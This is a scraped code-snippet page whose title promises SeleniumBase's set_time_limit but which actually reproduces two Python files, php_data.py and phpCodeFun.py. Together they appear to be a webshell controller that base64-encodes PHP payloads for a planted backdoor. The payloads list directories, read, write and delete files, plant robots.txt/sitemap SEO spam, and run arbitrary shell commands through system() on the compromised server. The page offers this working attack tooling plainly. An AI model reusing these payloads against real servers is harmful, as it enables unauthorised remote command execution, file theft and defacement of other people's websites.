How to use set_time_limit method in SeleniumBase

Best Python code snippet using SeleniumBase

php_data.py

Source:php_data.py Github

copy

Full Screen

...4#获取网站路径5php_www_path="""6<?php7@ini_set("display_errors","0"); //错误不显示8@set_time_limit(0); //设置程序执行时间9@set_magic_quotes_runtime(0); //特殊字符0-关闭10echo("->|");11echo $_SERVER['DOCUMENT_ROOT']."/"; //获取程序根目录12echo("|<-");13die();14?>15"""16#遍历路径 文件夹17PHP_bl_path="""18<?php19@ini_set("display_errors","0");20@set_time_limit(0);21@set_magic_quotes_runtime(0);22echo("->|");23//$D=base64_decode($_POST["z1"]);24//$D="D:/wamp/www";25$D=$_SERVER['DOCUMENT_ROOT']; //获取程序根目录26$F=@opendir($D); //打开 images 目录27if($F==NULL)28{29echo("ERROR: Path Not Found Or No Permission!");30}31else32{33while($N=@readdir($F))34{$P=$D."/".$N;35if(@is_dir($P))//目录36{37if (!(($N==".")or($N==".."))) //只要文件夹38{39 echo($D."/".$N);40 echo("\t");41}42}43}44};45echo("|<-");46die();47?>48"""49#获取目录权限50PHP_qx_path="""51<?php52@ini_set("display_errors","0");53@set_time_limit(0);54@set_magic_quotes_runtime(0);55echo("->|");56$filename=base64_decode($_POST["z1"]);57//$filename="D:/wamp/www/data/index.html";58////$filename=str_replace('\\','/',$filename);59//$file_hd2=@fopen($filename,'w'); //打开文件不存在则创建60////if(!$file_hd2){61//// @fclose($file_hd2);62//// echo("1");63////}else{64//// echo("0");65////}66//if(is_file($filename)){ //检查指定的文件名是否是正常的文件67// //文件不可写,直接返回68// if(is_writable($filename)){ //判断文件是否存在69// echo("1");70// }71//}72//@unlink($filename); //删除文件73echo @fopen($filename,"w")?"1":"0";74@unlink($filename); //删除文件75echo("|<-");76die();77?>78"""79#判断文件夹是否存在不存在则创建80php_mkdir_path="""81<?php82@ini_set("display_errors","0");83@set_time_limit(0);84@set_magic_quotes_runtime(0);85echo("->|");86$filename=base64_decode($_POST["z1"]);87//$filename="D:/wamp/www/data/111";88if(is_dir($filename))89 { //目录存在90 echo("1");91 }92else93 { //目录不存在94 if(@mkdir($filename,0777,true)){95 echo("1");96 }97 else{98 echo("0");99 }100 }101//@fopen($filename,"w")?"1":"0";102echo("|<-");103die();104?>105"""106#读取文件107php_open_file="""108<?php109@ini_set("display_errors","0"); //错误不显示110@set_time_limit(0); //设置程序执行时间111@set_magic_quotes_runtime(0); //特殊字符0-关闭112echo("->|");113$F=get_magic_quotes_gpc()?stripslashes($_POST["z1"]):$_POST["z1"];114//$F=get_magic_quotes_gpc()?stripslashes("/home/azch4xbvjz/domains/cincon.cn/public_html/home/azch4xbvjz/domains/cincon.cn/public_html/special/index.php"):"/home/azch4xbvjz/domains/cincon.cn/public_html/home/azch4xbvjz/domains/cincon.cn/public_html/special/index.php";115//echo $f;116if (!$fp=@file_get_contents($F))117{118 echo("no");119}else{120 echo $fp;121}122echo("|<-");123die();124?>125"""126#写入文件127php_add_file="""128<?php129@ini_set("display_errors","0");130@set_time_limit(0);131@set_magic_quotes_runtime(0);132echo("->|");;133$filename=base64_decode($_POST["z3"]);134//$filename="D:/wamp/www/data/111";135if(!is_dir($filename))136 { //目录不存在137 @mkdir($filename,0777,true);138 }139echo @fwrite(fopen(base64_decode($_POST["z1"]),"w"),base64_decode($_POST["z2"]))?"1":"0";;140@chmod(base64_decode($_POST["z1"]),0444);141echo("|<-");142die();143?>144"""145"""146@ini_set("display_errors","0"); //错误不显示147@set_time_limit(0); //设置程序执行时间148@set_magic_quotes_runtime(0); //特殊字符0-关闭149echo("->|");150$f=base64_decode($_POST["z1"]); //路径151//$f="D:/wamp/www/1.txt";152$c=$_POST["z2"]; //内容153//$c="3C3F7068700D0A24463D22433A2F77616D702F7777772F2F696E6465782E706870223B0D0A6563686F2866696C655F657869737473282446293F63686D6F642824462C30363636293F2231223A2230223A223022293B0D0A64696528293B0D0A3F3E"; //内容154//$c=str_replace("%","",$c); //替换155//$c=str_replace(",","",$c); //替换156$c=str_replace("\r","",$c); //替换157$c=str_replace("\n","",$c); //替换158//echo $c;159$buf=""; //替换160for($i=0;$i<strlen($c);$i+=2)161$buf.=urldecode("%".substr($c,$i,2));//还原 URL 编码字符串162@chmod($F,0777); //读写权限163echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");164echo("|<-");165die();166"""167#写入图片文件168php_add_file_tp="""169<?php170@ini_set("display_errors","0");171@set_time_limit(0);172@set_magic_quotes_runtime(0);173echo("->|");;174$f=base64_decode($_POST["z1"]);175$c=$_POST["z2"];176$c=str_replace("\r","",$c);177$c=str_replace("\n","",$c);178$buf="";179for($i=0;$i<strlen($c);$i+=2)180$buf.=urldecode("%".substr($c,$i,2));181echo(@fwrite(fopen($f,"w"),$buf)?"1":"0");;182echo("|<-");183die();184//&z1=RDpcXFdlYlNpdGVcXHNoZW56aGVuXFxhXFwxLmpwZw==185//D:\\WebSite\\shenzhen\\a\\1.jpg186//&z2=187?>188"""189#添加蜘蛛引导页190robots_add="""191<?php192@ini_set("display_errors","0");193@set_time_limit(0);194@set_magic_quotes_runtime(0);195echo("->|");;196$path=base64_decode($_POST["z1"]);197$folderpath=$_SERVER['DOCUMENT_ROOT']."/robots.txt"; //获取程序根目录198if(!file_exists($folderpath)){199$fp = fopen($folderpath, 'a+');200$str="User-agent: * ";201fputs($fp, $str);202fputs($fp,PHP_EOL);203fputs($fp,"Sitemap: /sitemap.xml");204fputs($fp,PHP_EOL);205fclose($fp);206}207$fp = fopen($folderpath, 'a+');...

Full Screen

Full Screen

phpCodeFun.py

Source:phpCodeFun.py Github

copy

Full Screen

...5 :return: php->base64 code6 """7 code = """8 @ini_set("display_errors","0");9 @set_time_limit(0);10 @set_magic_quotes_runtime(0);11 header("Content-Type:application/json");12 $res = array();$res["path"] = dirname(__FILE__);13 echo ("<ek>");14 echo json_encode($res);15 echo ("</ek>");16 die();17 """18 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")19def getFilelistBase(path):20 """21 获取该路径下所有文件信息22 :param path: 文件路径23 :return: PHP->base64 code24 """25 code = """26 header("Content-Type:application/json");27 @ini_set("display_errors","0");28 @set_time_limit(0);29 @set_magic_quotes_runtime(0);30 function getfile($path){31 $i=0;32 $res = array();33 if($handler = opendir($path)){34 while (($file = readdir($handler)) !==false){35 $f = array();36 $f["name"] = $file;37 $f['type'] = filetype($path ."/". $file);38 $f['time'] = date("Y-m-d H:i:s", filemtime($path ."/". $file));39 $f['size'] = filesize($path ."/". $file);40 $res[$i] = $f;41 $i++;42 }43 closedir($handler);44 }45 echo ("<ek>");46 echo json_encode($res);47 echo ("</ek>");48 }49 getfile("%s");die();50 """% path51 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")52def getFile(path):53 """54 指定一个文件的路径,放回该文件的信息。55 :param path: 文件路径56 :return: PHP-> base64 code57 """58 code = """59 @ini_set("display_errors","0");60 @set_time_limit(0);61 @set_magic_quotes_runtime(0);62 $path = '%s';63 $hanlder = fopen($path, 'rb');64 $res = fread($hanlder, filesize($path));65 fclose($hanlder);66 echo $res;67 """% path68 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")69def deleteFile(path):70 """71 删除文件72 :param path:73 :return:74 """75 code = """76 @ini_set("display_errors","0");77 @set_time_limit(0);78 @set_magic_quotes_runtime(0);79 function df($p){80 $m=@dir($p);81 while(@$f=$m->read()){82 $pf=$p."/".$f;83 if((is_dir($pf))&&($f!=".")&&($f!="..")){84 @chmod($pf,0777);85 df($pf);86 }87 if(is_file($pf)){88 @chmod($pf,0777);89 @unlink($pf);90 }91 }92 $m->close();93 @chmod($p,0777);94 return @rmdir($p);95 }96 function delf($path){97 echo("<ek>");98 if(is_dir($path)){99 echo(df($path));100 }101 else{102 echo(file_exists($path)?@unlink($path)?"1":"0":"0");103 };104 echo("</ek>");105 die(); 106 }107 delf("%s");""" % path108 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")109def changeName(path, newnamepath):110 code="""111 @ini_set("display_errors","0");112 @set_time_limit(0);113 echo("<ek>");;114 echo(rename("%s","%s")?"1":"0");;115 echo("</ek>");116 die();""" % (path, newnamepath)117 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")118def uploadFile(path, content):119 code="""120 @ini_set("display_errors","0");121 @set_time_limit(0);122 echo("<ek>");123 function f($f,$c){124 $c=str_replace("\r","",$c);125 $c=str_replace("\n","",$c);126 $buf="";127 for($i=0;$i<strlen($c);$i+=2){128 $buf.=urldecode("%".substr($c,$i,2));129 }130 echo(fwrite(fopen($f,"w"),$buf)?"1":"0");;131 echo("</ek>");132 die();133 }134 """+"""f('%s','%s');""" % (path, content)135 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")136def createFile(path, content):137 code="""138 @ini_set("display_errors","0");139 @set_time_limit(0);140 function f($path, $content){141 echo("<ek>");;142 echo @fwrite(@fopen($path,"w"),$content)?"1":"0";;143 echo("</ek>");144 die();145 }146 f('%s', '%s');""" % (path, content)147 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")148def createDir(path):149 code="""150 @ini_set("display_errors","0");151 @set_time_limit(0);152 function c($path){153 echo("<ek>");;154 echo(mkdir($path)?"1":"0");;155 echo("</ek>");156 die();157 }158 c('%s');159 """%path160 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")161def execShellCreate():162 code="""163 @ini_set("display_errors","0");164 @set_time_limit(0);165 echo("<ek>");;166 $D=dirname($_SERVER["SCRIPT_FILENAME"]);167 if($D=="")168 $D=dirname($_SERVER["PATH_TRANSLATED"]);169 $R="{$D}\t";170 if(substr($D,0,1)!="/"){171 foreach(range("A","Z") as $L)172 if(is_dir("{$L}:"))$R.="{$L}:";173 }174 $R.="\t";175 $u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';176 $usr=($u)?$u['name']:@get_current_user();177 $R.=php_uname();178 $R.="({$usr})";179 print $R;;180 echo("</ek>");181 die();"""182 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")183def execShell(cmd, options):184 code = """185 @ini_set("display_errors","0");186 @set_time_limit(0);187 echo("->|");;188 $p=base64_decode('%s');189 $s=base64_decode('%s');190 $d=dirname($_SERVER["SCRIPT_FILENAME"]);191 $c=substr($d,0,1)=="/"?"-c \\"{$s}\\"":"/c \\"{$s}\\"";$r="{$p} {$c}";192 @system($r." 2>&1",$ret);193 print ($ret!=0)?"ret={$ret}":"";;194 echo("|<-");die();195 """% (cmd, options)196 return base64.b64encode(code.encode("UTF-8")).decode("UTF-8")197if __name__ == '__main__':198 # print(deleteFile("C:/Users/elloit/Desktop/php/PHPTutorial/WWW/pass.txt"))...

Full Screen

Full Screen

Automation Testing Tutorials

Learn to execute automation testing from scratch with LambdaTest Learning Hub. Right from setting up the prerequisites to run your first automation test, to following best practices and diving deeper into advanced test scenarios. LambdaTest Learning Hubs compile a list of step-by-step guides to help you be proficient with different test automation frameworks i.e. Selenium, Cypress, TestNG etc.

LambdaTest Learning Hubs:

YouTube

You could also refer to video tutorials over LambdaTest YouTube channel to get step by step demonstration from industry experts.

Run SeleniumBase automation tests on LambdaTest cloud grid

Perform automation testing on 3000+ real desktop and mobile devices online.

Try LambdaTest Now !!

Get 100 minutes of automation test minutes FREE!!

Next-Gen App & Browser Testing Cloud

Was this article helpful?

Helpful

NotHelpful